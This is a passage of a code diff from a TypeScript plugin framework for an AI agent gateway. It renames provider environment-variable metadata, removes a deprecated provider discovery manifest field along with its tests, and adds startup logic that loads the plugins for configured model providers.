releaseNote: + "Legacy `runEmbeddedPiAgent` and `EmbeddedPi*` plugin aliases remain as deprecated SDK compatibility only.", + }, { code: "agent-harness-id-alias", status: "deprecated", diff --git a/src/plugins/contracts/boundary-invariants.test.ts b/src/plugins/contracts/boundary-invariants.test.ts index 1e5a578c76d..4adbc7c42cd 100644 --- a/src/plugins/contracts/boundary-invariants.test.ts +++ b/src/plugins/contracts/boundary-invariants.test.ts @@ -78,7 +78,8 @@ const BUNDLED_LIVE_CONFIG_PROVIDER_GUARDS = { "resolvePluginConfigObject(", "const startupPluginConfig = (api.pluginConfig ?? {})", "const currentPluginConfig = resolveCurrentPluginConfig(ctx.config);", - "const currentGuardrail = resolveCurrentPluginConfig(config)?.guardrail;", + "const currentPluginConfig = resolveCurrentPluginConfig(config);", + "const currentGuardrail = currentPluginConfig?.guardrail;", ], "extensions/amazon-bedrock-mantle/register.sync.runtime.ts": [ "resolvePluginConfigObject(", @@ -270,7 +271,7 @@ function collectBundledExtensionImports(source: string): string[] { } visit(sourceFile); - return specifiers.filter((specifier) => specifier.includes("extensions/")); + return specifiers.filter((specifier) => /(?:^|\/)extensions\/[^/]+\//u.test(specifier)); } function isBundledExtensionImportHelperCall(expression: ts.Expression): boolean { diff --git a/src/plugins/contracts/inventory/bundled-capability-metadata.ts b/src/plugins/contracts/inventory/bundled-capability-metadata.ts index 6698f2bf0bd..0ded984d0ed 100644 --- a/src/plugins/contracts/inventory/bundled-capability-metadata.ts +++ b/src/plugins/contracts/inventory/bundled-capability-metadata.ts @@ -22,7 +22,7 @@ export type BundledPluginContractSnapshot = { pluginId: string; cliBackendIds: string[]; providerIds: string[]; - providerAuthEnvVars: Record; + providerEnvVars: Record; embeddingProviderIds: string[]; speechProviderIds: string[]; realtimeTranscriptionProviderIds: string[]; @@ -57,8 +57,8 @@ export type BundledCapabilityManifest = Pick< | "cliBackends" | "contracts" | "legacyPluginIds" - | "providerAuthEnvVars" | "providers" + | "setup" >; function readJsonRecord(filePath: string): Record | undefined { @@ -102,17 +102,14 @@ function listBundledCapabilityManifests(): readonly BundledCapabilityManifest[] const BUNDLED_CAPABILITY_MANIFESTS = listBundledCapabilityManifests(); -function normalizeStringListRecord(record: unknown): Record { - if (!record || typeof record !== "object" || Array.isArray(record)) { - return {}; - } +function normalizeSetupProviderEnvVars(setup: PluginManifest["setup"]): Record { return Object.fromEntries( - Object.entries(record) + (setup?.providers ?? []) .map( - ([key, values]) => + (provider) => [ - key.trim(), - uniqueStrings(Array.isArray(values) ? values : [], (value) => + provider.id.trim(), + uniqueStrings(provider.envVars ?? [], (value) => typeof value === "string" ? value.trim() : "", ), ] as const, @@ -129,7 +126,7 @@ export function buildBundledPluginContractSnapshot( pluginId: manifest.id, cliBackendIds: uniqueStrings(manifest.cliBackends, (value) => value.trim()), providerIds: uniqueStrings(manifest.providers, (value) => value.trim()), - providerAuthEnvVars: normalizeStringListRecord(manifest.providerAuthEnvVars), + providerEnvVars: normalizeSetupProviderEnvVars(manifest.setup), embeddingProviderIds: uniqueStrings(manifest.contracts?.embeddingProviders, (value) => value.trim(), ), @@ -228,7 +225,7 @@ export const BUNDLED_AUTO_ENABLE_PROVIDER_PLUGIN_IDS = Object.fromEntries( type BundledContractIdSnapshotKey = Exclude< keyof Omit, - "providerAuthEnvVars" + "providerEnvVars" >; export function resolveBundledContractSnapshotPluginIds( diff --git a/src/plugins/contracts/loader.contract.test.ts b/src/plugins/contracts/loader.contract.test.ts index 77553c11c05..a64a7d4f8c6 100644 --- a/src/plugins/contracts/loader.contract.test.ts +++ b/src/plugins/contracts/loader.contract.test.ts @@ -1,6 +1,5 @@ import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import { uniqueSortedStrings } from "../../plugin-sdk/test-helpers/string-utils.js"; -import { withBundledPluginAllowlistCompat } from "../bundled-compat.js"; import { resolveManifestContractPluginIds } from "../plugin-registry.js"; import { testing as providerTesting } from "../providers.js"; import { resolveBundledContractSnapshotPluginIds } from "./inventory/bundled-capability-metadata.js"; @@ -18,42 +17,16 @@ function expectPluginAllowlistEquals( expect(allow).toEqual(expectedExtraEntry ? [expectedExtraEntry, ...pluginIds] : pluginIds); } -function createAllowlistCompatConfig(pluginIds: string[]) { - return withBundledPluginAllowlistCompat({ - config: { - plugins: { - allow: [demoAllowEntry], - bundledDiscovery: "compat", - }, - }, - pluginIds, - }); -} - -const demoAllowEntry = "demo-allowed"; - describe("plugin loader contract", () => { let providerPluginIds: string[] = []; let manifestProviderPluginIds: string[] = []; - let compatPluginIds: string[] = []; - let compatConfig: ReturnType; let vitestCompatConfig: ReturnType; let webSearchPluginIds: string[] = []; let bundledWebSearchPluginIds: string[] = []; - let webSearchAllowlistCompatConfig: ReturnType; beforeAll(() => { providerPluginIds = uniqueSortedStrings(providerContractCompatPluginIds); manifestProviderPluginIds = resolveBundledManifestProviderPluginIds(); - compatPluginIds = providerTesting.resolveBundledProviderCompatPluginIds({ - config: { - plugins: { - allow: [demoAllowEntry], - bundledDiscovery: "compat", - }, - }, - }); - compatConfig = createAllowlistCompatConfig(compatPluginIds); vitestCompatConfig = providerTesting.withBundledProviderVitestCompat({ config: undefined, pluginIds: providerPluginIds, @@ -68,18 +41,14 @@ describe("plugin loader contract", () => { origin: "bundled", }), ); - webSearchAllowlistCompatConfig = createAllowlistCompatConfig(webSearchPluginIds); }); beforeEach(() => { vi.restoreAllMocks(); }); - it("keeps bundled provider compatibility wired to the provider registry", () => { + it("keeps bundled provider registry wired to the manifest inventory", () => { expect(providerPluginIds).toEqual(manifestProviderPluginIds); - const sortedCompatPluginIds = uniqueSortedStrings(compatPluginIds); - expect(sortedCompatPluginIds).toEqual(manifestProviderPluginIds); - expectPluginAllowlistEquals(compatConfig?.plugins?.allow, providerPluginIds, demoAllowEntry); }); it("keeps vitest bundled provider enablement wired to the provider registry", () => { @@ -91,12 +60,4 @@ describe("plugin loader contract", () => { it("keeps bundled web search loading scoped to the web search registry", () => { expect(bundledWebSearchPluginIds).toEqual(webSearchPluginIds); }); - - it("keeps bundled web search allowlist compatibility wired to the web search registry", () => { - expectPluginAllowlistEquals( - webSearchAllowlistCompatConfig?.plugins?.allow, - webSearchPluginIds, - demoAllowEntry, - ); - }); }); diff --git a/src/plugins/contracts/registry.ts b/src/plugins/contracts/registry.ts index 6bc5956d529..c901926251f 100644 --- a/src/plugins/contracts/registry.ts +++ b/src/plugins/contracts/registry.ts @@ -80,24 +80,38 @@ type ManifestContractKey = type ManifestRegistryContractKey = "webFetchProviders" | "webSearchProviders"; -function normalizeProviderAuthEnvVars( - providerAuthEnvVars: Record | undefined, +function normalizeProviderEnvVars( + providerEnvVars: Record | undefined, ): Record { return Object.fromEntries( - Object.entries(providerAuthEnvVars ?? {}).map(([providerId, envVars]) => [ + Object.entries(providerEnvVars ?? {}).map(([providerId, envVars]) => [ providerId, uniqueStrings(envVars), ]), ); } +function resolvePluginProviderEnvVars(plugin: { + setup?: { providers?: Array<{ id: string; envVars?: string[] }> }; + providerAuthEnvVars?: Record; +}): Record { + const envVars: Record = {}; + for (const provider of plugin.setup?.providers ?? []) { + envVars[provider.id] = uniqueStrings(provider.envVars ?? []); + } + for (const [providerId, keys] of Object.entries(plugin.providerAuthEnvVars ?? {})) { + envVars[providerId] = uniqueStrings([...(envVars[providerId] ?? []), ...keys]); + } + return normalizeProviderEnvVars(envVars); +} + function resolveBundledManifestContracts(): PluginRegistrationContractEntry[] { if (process.env.VITEST) { return BUNDLED_PLUGIN_CONTRACT_SNAPSHOTS.map((entry) => ({ pluginId: entry.pluginId, cliBackendIds: [...entry.cliBackendIds], providerIds: [...entry.providerIds], - providerAuthEnvVars: normalizeProviderAuthEnvVars(entry.providerAuthEnvVars), + providerEnvVars: normalizeProviderEnvVars(entry.providerEnvVars), embeddingProviderIds: [...entry.embeddingProviderIds], speechProviderIds: [...entry.speechProviderIds], realtimeTranscriptionProviderIds: [...entry.realtimeTranscriptionProviderIds], @@ -141,7 +155,7 @@ function resolveBundledManifestContracts(): PluginRegistrationContractEntry[] { pluginId: plugin.id, cliBackendIds: uniqueStrings(plugin.cliBackends), providerIds: uniqueStrings(plugin.providers), - providerAuthEnvVars: normalizeProviderAuthEnvVars(plugin.providerAuthEnvVars), + providerEnvVars: resolvePluginProviderEnvVars(plugin), embeddingProviderIds: uniqueStrings(plugin.contracts?.embeddingProviders ?? []), speechProviderIds: uniqueStrings(plugin.contracts?.speechProviders ?? []), realtimeTranscriptionProviderIds: uniqueStrings( diff --git a/src/plugins/contracts/tts-contract-suites.ts b/src/plugins/contracts/tts-contract-suites.ts index e651ad9a45b..20f4a70cf0a 100644 --- a/src/plugins/contracts/tts-contract-suites.ts +++ b/src/plugins/contracts/tts-contract-suites.ts @@ -1,4 +1,3 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; import type { OpenClawConfig } from "openclaw/plugin-sdk/config-contracts"; import { createEmptyPluginRegistry, @@ -8,6 +7,7 @@ import { import type { ResolvedTtsConfig, SpeechProviderPlugin } from "openclaw/plugin-sdk/speech-core"; import { withEnv, withEnvAsync } from "openclaw/plugin-sdk/test-env"; import { beforeEach, describe, expect, it, vi } from "vitest"; +import type { AssistantMessage } from "../../llm/types.js"; import { resolveWorkspacePackagePublicModuleUrl } from "../../plugin-sdk/test-helpers/public-surface-loader.js"; type TtsRuntimeModule = typeof import("openclaw/plugin-sdk/tts-runtime"); @@ -23,7 +23,7 @@ let ttsRuntime: TtsRuntimeModule; let ttsRuntimePromise: Promise | null = null; let ttsRuntimeInitialized = false; let ttsCorePromise: Promise | null = null; -let completeSimple: typeof import("@earendil-works/pi-ai").completeSimple; +let completeSimple: typeof import("openclaw/plugin-sdk/llm").completeSimple; let getApiKeyForModelMock: SummarizeTextDeps["getApiKeyForModel"]; let requireApiKeyMock: SummarizeTextDeps["requireApiKey"]; let resolveModelAsyncMock: SummarizeTextDeps["resolveModelAsync"]; @@ -42,7 +42,7 @@ let sanitizeTtsErrorForLog: TtsRuntimeModule["testApi"]["sanitizeTtsErrorForLog" const SPEECH_PROVIDER_ENV_KEYS = [ ...new Set( pluginRegistrationContractRegistry.flatMap((entry) => - entry.speechProviderIds.flatMap((providerId) => entry.providerAuthEnvVars[providerId] ?? []), + entry.speechProviderIds.flatMap((providerId) => entry.providerEnvVars[providerId] ?? []), ), ), ].toSorted((left, right) => left.localeCompare(right)); @@ -70,28 +70,15 @@ async function withIsolatedSpeechProviderEnvAsync( return await withEnvAsync(isolatedSpeechProviderEnv(overrides), fn); } -vi.mock("@earendil-works/pi-ai", async () => { - const actual = - await vi.importActual("@earendil-works/pi-ai"); +vi.mock("openclaw/plugin-sdk/llm", () => { const getApiProvider = vi.fn(() => undefined); return { - ...actual, completeSimple: vi.fn(), createAssistantMessageEventStream: vi.fn(), getApiProvider, getModel: vi.fn(), registerApiProvider: vi.fn(), - streamAnthropic: vi.fn(), streamSimple: vi.fn(), - streamSimpleOpenAICompletions: vi.fn(), - }; -}); - -vi.mock("@earendil-works/pi-ai/oauth", () => { - return { - getOAuthProviders: () => [], - getOAuthApiKey: vi.fn(async () => null), - loginOpenAICodex: vi.fn(), }; }); @@ -507,7 +494,7 @@ function createResolvedSummarizationConfig(cfg: OpenClawConfig): ResolvedTtsConf async function setupSummarizationMocks() { ({ summarizeText: summarizeTextCore } = await loadTtsCore()); - ({ completeSimple } = await import("@earendil-works/pi-ai")); + ({ completeSimple } = await import("openclaw/plugin-sdk/llm")); getApiKeyForModelMock = vi.fn() as SummarizeTextDeps["getApiKeyForModel"]; requireApiKeyMock = vi.fn() as SummarizeTextDeps["requireApiKey"]; resolveModelAsyncMock = vi.fn() as SummarizeTextDeps["resolveModelAsync"]; diff --git a/src/plugins/document-extractors.runtime.ts b/src/plugins/document-extractors.runtime.ts index 741ce74265b..f3e10db534b 100644 --- a/src/plugins/document-extractors.runtime.ts +++ b/src/plugins/document-extractors.runtime.ts @@ -57,8 +57,7 @@ export function resolvePluginDocumentExtractors(params?: { onlyPluginIds: params?.onlyPluginIds, contract: "documentExtractors", compatMode: { - allowlist: false, - enablement: "allowlist", + enablement: "always", vitest: true, }, }).map((plugin) => plugin.id); diff --git a/src/plugins/gateway-startup-plugin-ids.ts b/src/plugins/gateway-startup-plugin-ids.ts index 7798b9a7bc2..644c7f1ac59 100644 --- a/src/plugins/gateway-startup-plugin-ids.ts +++ b/src/plugins/gateway-startup-plugin-ids.ts @@ -1,4 +1,5 @@ import { collectConfiguredAgentHarnessRuntimes } from "../agents/harness-runtimes.js"; +import { normalizeProviderId } from "../agents/provider-id.js"; import { listExplicitlyDisabledChannelIdsForConfig, listPotentialConfiguredChannelIds, @@ -10,6 +11,8 @@ import { resolveMemoryDreamingPluginConfig, resolveMemoryDreamingPluginId, } from "../memory-host-sdk/dreaming.js"; +import { planManifestModelCatalogRows } from "../model-catalog/manifest-planner.js"; +import { buildModelCatalogMergeKey } from "../model-catalog/refs.js"; import { isRecord } from "../shared/record-coerce.js"; import { normalizeOptionalLowercaseString } from "../shared/string-coerce.js"; import { hasExplicitChannelConfig } from "./channel-presence-policy.js"; @@ -45,6 +48,16 @@ type GenerationProviderContractKey = | "videoGenerationProviders" | "musicGenerationProviders"; type ConfiguredGenerationProviderIds = Record>; +const CORE_BUILT_IN_MODEL_APIS = new Set([ + "anthropic-messages", + "azure-openai-responses", + "google-generative-ai", + "google-vertex", + "mistral-conversations", + "openai-codex-responses", + "openai-completions", + "openai-responses", +]); function isConfigActivationValueEnabled(value: unknown): boolean { if (value === false) { @@ -254,17 +267,138 @@ function listModelProviderRefs(value: unknown): string[] { return refs; } +function listModelProviderRefParts(value: unknown): Array<{ providerId: string; modelId: string }> { + return listModelProviderRefs(value) + .map((ref) => { + const slashIndex = ref.indexOf("/"); + if (slashIndex <= 0 || slashIndex >= ref.length - 1) { + return undefined; + } + return { + providerId: normalizeProviderId(ref.slice(0, slashIndex)), + modelId: ref.slice(slashIndex + 1).trim(), + }; + }) + .filter((entry): entry is { providerId: string; modelId: string } => + Boolean(entry?.providerId && entry.modelId), + ); +} + function collectModelProviderIds(value: unknown): ReadonlySet { return new Set( listModelProviderRefs(value) .map((ref) => { const slashIndex = ref.indexOf("/"); - return slashIndex > 0 ? normalizeOptionalLowercaseString(ref.slice(0, slashIndex)) : ""; + return slashIndex > 0 ? normalizeProviderId(ref.slice(0, slashIndex)) : ""; }) .filter((providerId): providerId is string => Boolean(providerId)), ); } +type ManifestModelProviderLookup = { + modelApis: ReadonlyMap; + providerIds: ReadonlySet; +}; + +function buildManifestModelProviderLookup( + manifestRegistry: PluginManifestRegistry, +): ManifestModelProviderLookup { + const modelApis = new Map( + planManifestModelCatalogRows({ registry: manifestRegistry }).rows.flatMap((row) => + row.api ? [[row.mergeKey, row.api] as const] : [], + ), + ); + return { + modelApis, + providerIds: new Set( + manifestRegistry.plugins.flatMap((plugin) => plugin.providers.map(normalizeProviderId)), + ), + }; +} + +function collectConfiguredAgentModelProviderIds( + config: OpenClawConfig, + manifestRegistry: PluginManifestRegistry, +): ReadonlySet { + const modelIdsByProvider = new Map>(); + const manifestModelProviders = buildManifestModelProviderLookup(manifestRegistry); + const addModelProviderRefs = (value: unknown) => { + for (const { providerId, modelId } of listModelProviderRefParts(value)) { + const modelIds = modelIdsByProvider.get(providerId) ?? new Set(); + modelIds.add(modelId); + modelIdsByProvider.set(providerId, modelIds); + } + }; + const addModelMapProviderIds = (models: unknown) => { + if (!isRecord(models)) { + return; + } + for (const modelRef of Object.keys(models)) { + addModelProviderRefs(modelRef); + } + }; + + const defaults = config.agents?.defaults; + addModelProviderRefs(defaults?.model); + addModelMapProviderIds(defaults?.models); + + const agents = Array.isArray(config.agents?.list) ? config.agents.list : []; + for (const agent of agents) { + if (!isRecord(agent)) { + continue; + } + addModelProviderRefs(agent.model); + addModelMapProviderIds(agent.models); + } + + return new Set( + [...modelIdsByProvider.entries()] + .filter(([providerId, modelIds]) => { + return [...modelIds].some((modelId) => + configuredModelProviderNeedsRuntimePlugin({ + config, + manifestModelProviders, + providerId, + modelId, + }), + ); + }) + .map(([providerId]) => providerId), + ); +} + +function configuredModelProviderNeedsRuntimePlugin(params: { + config: OpenClawConfig; + manifestModelProviders: ManifestModelProviderLookup; + providerId: string; + modelId: string; +}): boolean { + const providerConfig = params.config.models?.providers?.[params.providerId]; + const configuredModel = providerConfig?.models?.find((model) => model.id === params.modelId); + const modelApi = + configuredModel?.api ?? + providerConfig?.api ?? + params.manifestModelProviders.modelApis.get( + buildModelCatalogMergeKey(params.providerId, params.modelId), + ); + if (typeof modelApi === "string") { + return !CORE_BUILT_IN_MODEL_APIS.has(modelApi); + } + return params.manifestModelProviders.providerIds.has(params.providerId); +} + +function manifestOwnsConfiguredModelProvider(params: { + manifest: PluginManifestRecord | undefined; + configuredModelProviderIds: ReadonlySet; +}): boolean { + if (params.configuredModelProviderIds.size === 0) { + return false; + } + return (params.manifest?.providers ?? []).some((providerId) => { + return params.configuredModelProviderIds.has(normalizeProviderId(providerId)); + }); +} + function collectConfiguredGenerationProviderIds( config: OpenClawConfig, ): ConfiguredGenerationProviderIds { @@ -350,6 +484,55 @@ function canStartConfiguredGenerationProviderPlugin(params: { ); } +function canStartConfiguredModelProviderPlugin(params: { + plugin: InstalledPluginIndexRecord; + manifest: PluginManifestRecord | undefined; + config: OpenClawConfig; + pluginsConfig: ReturnType; + activationSource: { + plugins: ReturnType; + rootConfig?: OpenClawConfig; + }; + configuredModelProviderIds: ReadonlySet; + platform?: NodeJS.Platform; +}): boolean { + if ( + !manifestOwnsConfiguredModelProvider({ + manifest: params.manifest, + configuredModelProviderIds: params.configuredModelProviderIds, + }) + ) { + return false; + } + if (!params.pluginsConfig.enabled || !params.activationSource.plugins.enabled) { + return false; + } + if ( + params.pluginsConfig.deny.includes(params.plugin.pluginId) || + params.activationSource.plugins.deny.includes(params.plugin.pluginId) + ) { + return false; + } + if ( + params.pluginsConfig.entries[params.plugin.pluginId]?.enabled === false || + params.activationSource.plugins.entries[params.plugin.pluginId]?.enabled === false + ) { + return false; + } + const activationState = resolveEffectivePluginActivationState({ + id: params.plugin.pluginId, + origin: params.plugin.origin, + config: params.pluginsConfig, + rootConfig: params.config, + enabledByDefault: isPluginEnabledByDefaultForPlatform(params.plugin, params.platform), + activationSource: params.activationSource, + }); + return ( + activationState.enabled && + (params.plugin.origin === "bundled" || activationState.explicitlyEnabled) + ); +} + function canStartRequiredAgentHarnessPlugin(params: { plugin: InstalledPluginIndexRecord; pluginsConfig: ReturnType; @@ -783,15 +966,16 @@ export function resolveGatewayStartupPluginPlanFromRegistry(params: { platform: params.platform, }); const requiredAgentHarnessRuntimes = new Set( - collectConfiguredAgentHarnessRuntimes(activationSourceConfig, params.env, { - includeEnvRuntime: false, - includeLegacyAgentRuntimes: false, - }), + collectConfiguredAgentHarnessRuntimes(activationSourceConfig), ); const startupDreamingPluginIds = resolveGatewayStartupDreamingPluginIds(params.config); const configuredSpeechProviderIds = collectConfiguredSpeechProviderIds(activationSourceConfig); const configuredWebSearchProviderIds = collectConfiguredWebSearchProviderIds(activationSourceConfig); + const configuredModelProviderIds = collectConfiguredAgentModelProviderIds( + activationSourceConfig, + params.manifestRegistry, + ); const configuredGenerationProviderIds = collectConfiguredGenerationProviderIds(activationSourceConfig); const normalizePluginId = createPluginRegistryIdNormalizer(params.index, { @@ -875,6 +1059,19 @@ export function resolveGatewayStartupPluginPlanFromRegistry(params: { ) { return true; } + if ( + canStartConfiguredModelProviderPlugin({ + plugin, + manifest, + config: params.config, + pluginsConfig, + activationSource, + configuredModelProviderIds, + platform: params.platform, + }) + ) { + return true; + } if ( canStartConfiguredGenerationProviderPlugin({ plugin, diff --git a/src/plugins/hook-types.ts b/src/plugins/hook-types.ts index e302ac35a0a..60be7501061 100644 --- a/src/plugins/hook-types.ts +++ b/src/plugins/hook-types.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../agents/runtime/index.js"; import type { SourceReplyDeliveryMode } from "../auto-reply/get-reply-options.types.js"; import type { ReplyPayload } from "../auto-reply/reply-payload.js"; import type { diff --git a/src/plugins/hooks.sync-only.test.ts b/src/plugins/hooks.sync-only.test.ts index b825f8f94d9..ed9c1e4a7e4 100644 --- a/src/plugins/hooks.sync-only.test.ts +++ b/src/plugins/hooks.sync-only.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it, vi } from "vitest"; import { createHookRunner, type HookRunnerLogger } from "./hooks.js"; import { createMockPluginRegistry } from "./hooks.test-helpers.js"; diff --git a/src/plugins/host-hook-turn-types.ts b/src/plugins/host-hook-turn-types.ts index 0d250c3aaff..dc9f86fb20c 100644 --- a/src/plugins/host-hook-turn-types.ts +++ b/src/plugins/host-hook-turn-types.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../agents/runtime/index.js"; import type { PluginJsonValue } from "./host-hook-json.js"; export type PluginNextTurnInjectionPlacement = "prepend_context" | "append_context"; diff --git a/src/plugins/manifest-registry.test.ts b/src/plugins/manifest-registry.test.ts index 3cb73815e8a..32926f51e9c 100644 --- a/src/plugins/manifest-registry.test.ts +++ b/src/plugins/manifest-registry.test.ts @@ -1383,12 +1383,12 @@ describe("loadPluginManifestRegistry", () => { }); }); - it("falls back providerDiscoverySource from .ts to emitted .js files", () => { + it("falls back provider catalog source from .ts to emitted .js files", () => { const dir = makeTempDir(); writeManifest(dir, { id: "anthropic-vertex", providers: ["anthropic-vertex"], - providerDiscoveryEntry: "./provider-discovery.ts", + providerCatalogEntry: "./provider-discovery.ts", configSchema: { type: "object" }, }); fs.writeFileSync(path.join(dir, "provider-discovery.js"), "export default {};\n", "utf8"); @@ -1404,30 +1404,7 @@ describe("loadPluginManifestRegistry", () => { ); }); - it("prefers providerCatalogEntry over legacy providerDiscoveryEntry", () => { - const dir = makeTempDir(); - writeManifest(dir, { - id: "catalog-provider", - providers: ["catalog-provider"], - providerCatalogEntry: "./provider-catalog.ts", - providerDiscoveryEntry: "./provider-discovery.ts", - configSchema: { type: "object" }, - }); - fs.writeFileSync(path.join(dir, "provider-catalog.js"), "export default {};\n", "utf8"); - fs.writeFileSync(path.join(dir, "provider-discovery.js"), "export default {};\n", "utf8"); - - const registry = loadSingleCandidateRegistry({ - idHint: "catalog-provider", - rootDir: dir, - origin: "bundled", - }); - - expect(registry.plugins[0]?.providerDiscoverySource).toBe( - path.join(dir, "provider-catalog.js"), - ); - }); - - it("ignores legacy provider discovery entries outside the plugin root", () => { + it("ignores provider catalog entries outside the plugin root", () => { const root = makeTempDir(); const pluginDir = path.join(root, "plugin"); const outsideDir = path.join(root, "outside"); @@ -1436,7 +1413,7 @@ describe("loadPluginManifestRegistry", () => { writeManifest(pluginDir, { id: "outside-provider", providers: ["outside-provider"], - providerDiscoveryEntry: "../outside/provider-discovery.js", + providerCatalogEntry: "../outside/provider-discovery.js", configSchema: { type: "object" }, }); fs.writeFileSync( @@ -1456,11 +1433,11 @@ describe("loadPluginManifestRegistry", () => { level: "warn", pluginId: "outside-provider", source: path.join(pluginDir, "openclaw.plugin.json"), - messageIncludes: "providerDiscoveryEntry must resolve inside the plugin root", + messageIncludes: "providerCatalogEntry must resolve inside the plugin root", }); }); - it("ignores absolute provider discovery entries", () => { + it("ignores absolute provider catalog entries", () => { const dir = makeTempDir(); const outsideDir = makeTempDir(); const outsideEntry = path.join(outsideDir, "provider-discovery.js"); @@ -1468,7 +1445,7 @@ describe("loadPluginManifestRegistry", () => { writeManifest(dir, { id: "absolute-provider", providers: ["absolute-provider"], - providerDiscoveryEntry: outsideEntry, + providerCatalogEntry: outsideEntry, configSchema: { type: "object" }, }); @@ -1483,7 +1460,7 @@ describe("loadPluginManifestRegistry", () => { level: "warn", pluginId: "absolute-provider", source: path.join(dir, "openclaw.plugin.json"), - messageIncludes: "providerDiscoveryEntry must resolve inside the plugin root", + messageIncludes: "providerCatalogEntry must resolve inside the plugin root", }); }); @@ -1514,7 +1491,7 @@ describe("loadPluginManifestRegistry", () => { }); }); - it("ignores provider discovery entries that resolve through a symlink outside the plugin root", () => { + it("ignores provider catalog entries that resolve through a symlink outside the plugin root", () => { if (process.platform === "win32") { return; } @@ -1531,7 +1508,7 @@ describe("loadPluginManifestRegistry", () => { writeManifest(dir, { id: "symlink-provider", providers: ["symlink-provider"], - providerDiscoveryEntry: "./provider-discovery.js", + providerCatalogEntry: "./provider-discovery.js", configSchema: { type: "object" }, }); @@ -1546,11 +1523,11 @@ describe("loadPluginManifestRegistry", () => { level: "warn", pluginId: "symlink-provider", source: path.join(dir, "openclaw.plugin.json"), - messageIncludes: "providerDiscoveryEntry must resolve inside the plugin root", + messageIncludes: "providerCatalogEntry must resolve inside the plugin root", }); }); - it("ignores provider discovery .js fallbacks that resolve outside the plugin root", () => { + it("ignores provider catalog .js fallbacks that resolve outside the plugin root", () => { if (process.platform === "win32") { return; } @@ -1567,7 +1544,7 @@ describe("loadPluginManifestRegistry", () => { writeManifest(dir, { id: "fallback-symlink-provider", providers: ["fallback-symlink-provider"], - providerDiscoveryEntry: "./provider-discovery.ts", + providerCatalogEntry: "./provider-discovery.ts", configSchema: { type: "object" }, }); @@ -1582,11 +1559,11 @@ describe("loadPluginManifestRegistry", () => { level: "warn", pluginId: "fallback-symlink-provider", source: path.join(dir, "openclaw.plugin.json"), - messageIncludes: "providerDiscoveryEntry must resolve inside the plugin root", + messageIncludes: "providerCatalogEntry must resolve inside the plugin root", }); }); - it("ignores non-bundled provider discovery entries that are hardlinked", () => { + it("ignores non-bundled provider catalog entries that are hardlinked", () => { if (process.platform === "win32") { return; } @@ -1606,7 +1583,7 @@ describe("loadPluginManifestRegistry", () => { writeManifest(dir, { id: "hardlink-provider", providers: ["hardlink-provider"], - providerDiscoveryEntry: "./provider-discovery.js", + providerCatalogEntry: "./provider-discovery.js", configSchema: { type: "object" }, }); @@ -1621,11 +1598,11 @@ describe("loadPluginManifestRegistry", () => { level: "warn", pluginId: "hardlink-provider", source: path.join(dir, "openclaw.plugin.json"), - messageIncludes: "providerDiscoveryEntry must resolve inside the plugin root", + messageIncludes: "providerCatalogEntry must resolve inside the plugin root", }); }); - it("ignores non-bundled provider discovery .js fallbacks that are hardlinked", () => { + it("ignores non-bundled provider catalog .js fallbacks that are hardlinked", () => { if (process.platform === "win32") { return; } @@ -1645,7 +1622,7 @@ describe("loadPluginManifestRegistry", () => { writeManifest(dir, { id: "fallback-hardlink-provider", providers: ["fallback-hardlink-provider"], - providerDiscoveryEntry: "./provider-discovery.ts", + providerCatalogEntry: "./provider-discovery.ts", configSchema: { type: "object" }, }); @@ -1660,7 +1637,7 @@ describe("loadPluginManifestRegistry", () => { level: "warn", pluginId: "fallback-hardlink-provider", source: path.join(dir, "openclaw.plugin.json"), - messageIncludes: "providerDiscoveryEntry must resolve inside the plugin root", + messageIncludes: "providerCatalogEntry must resolve inside the plugin root", }); }); diff --git a/src/plugins/manifest-registry.ts b/src/plugins/manifest-registry.ts index 9e9a1ca6e2e..108e9563cb7 100644 --- a/src/plugins/manifest-registry.ts +++ b/src/plugins/manifest-registry.ts @@ -107,7 +107,7 @@ function resolveManifestPluginSourcePath(params: { rootDir: string; manifestPath: string; pluginId: string; - entryName: "providerCatalogEntry" | "providerDiscoveryEntry"; + entryName: "providerCatalogEntry"; entry: string; rejectHardlinks: boolean; diagnostics: PluginDiagnostic[]; @@ -472,12 +472,7 @@ function buildRecord(params: { entryName: "providerCatalogEntry" as const, entry: params.manifest.providerCatalogEntry, } - : params.manifest.providerDiscoveryEntry !== undefined - ? { - entryName: "providerDiscoveryEntry" as const, - entry: params.manifest.providerDiscoveryEntry, - } - : undefined; + : undefined; const manifestChannelConfigs = params.candidate.origin === "bundled" && params.bundledChannelConfigCollector ? params.bundledChannelConfigCollector({ @@ -779,14 +774,17 @@ function matchesInstalledPluginRecord(params: { const resolved = resolveUserPath(entry, params.env); return safeRealpathSync(resolved) ?? resolved; }); - if (trackedPaths.length === 0 || candidatePaths.length === 0) { + if (candidatePaths.length === 0 || trackedPaths.length === 0) { return false; } - return candidatePaths.some((candidatePath) => { - return trackedPaths.some((trackedPath) => { - return candidatePath === trackedPath || isPathInside(trackedPath, candidatePath); - }); - }); + return trackedPaths.some((trackedPath) => + candidatePaths.some( + (candidatePath) => + candidatePath === trackedPath || + isPathInside(trackedPath, candidatePath) || + isPathInside(candidatePath, trackedPath), + ), + ); } function npmSpecMatchesPackage(value: string | undefined, packageName: string): boolean { diff --git a/src/plugins/manifest.ts b/src/plugins/manifest.ts index 6b12b422fe8..ee9dba07c81 100644 --- a/src/plugins/manifest.ts +++ b/src/plugins/manifest.ts @@ -307,8 +307,6 @@ export type PluginManifest = { * auth/catalog discovery. It should not import the full plugin runtime. */ providerCatalogEntry?: string; - /** @deprecated Use providerCatalogEntry. */ - providerDiscoveryEntry?: string; /** * Cheap model-family ownership metadata used before plugin runtime loads. * Use this for shorthand model refs that omit an explicit provider prefix. @@ -1649,7 +1647,6 @@ export function loadPluginManifest( const providers = normalizeTrimmedStringList(raw.providers); const cliBackends = normalizeTrimmedStringList(raw.cliBackends); const providerCatalogEntry = normalizeOptionalString(raw.providerCatalogEntry); - const providerDiscoveryEntry = normalizeOptionalString(raw.providerDiscoveryEntry); const modelSupport = normalizeManifestModelSupport(raw.modelSupport); const modelCatalog = normalizeModelCatalog(raw.modelCatalog, { ownedProviders: new Set([...providers, ...cliBackends]), @@ -1713,7 +1710,6 @@ export function loadPluginManifest( channels, providers, 